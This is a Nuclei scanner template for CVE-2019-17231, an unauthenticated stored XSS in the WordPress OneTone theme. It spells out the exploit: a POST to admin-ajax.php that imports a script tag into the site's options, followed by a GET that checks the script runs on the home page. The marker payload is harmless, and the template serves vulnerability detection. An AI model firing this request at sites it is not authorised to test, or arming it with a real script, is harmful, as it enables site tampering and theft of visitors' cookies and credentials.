WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS

id: CVE-2019-17231

info:
  name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS
  author: daffainfo
  severity: medium
  description: |
    includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript that will be stored and executed when users visit the site, potentially stealing cookies, credentials, or performing actions on behalf of all site visitors.
  remediation: |
    Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.
  reference:
    - https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
    - https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17231
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-17231
    epss-score: 0.01216
    epss-percentile: 0.64915
    cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mageewp
    product: onetone
    framework: wordpress
    publicwww-query: "/wp-content/themes/onetone"
  tags: cve,cve2019,wordpress,wp-theme,wp,onetone,xss,intrusive,vkev,vuln

variables:
  string: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=onetone_options_import&options={"top_bar_info_content":"<script>console.log({{string}})</script>","display_top_bar":"yes"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Import successful.")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>console.log({{string}})</script>","top-bar-info")'
        condition: and
# digest: 4a0a00473045022100f935444b13c16220914281c1b3aa21c00bd1ce0f1020a5a05a9f50e7a02ec7e6022053e55d1593161cefa78f9ac32b10c1d75853d24613271900f4772e1772f443d6:922c64590222798bb761d5b6d8e72950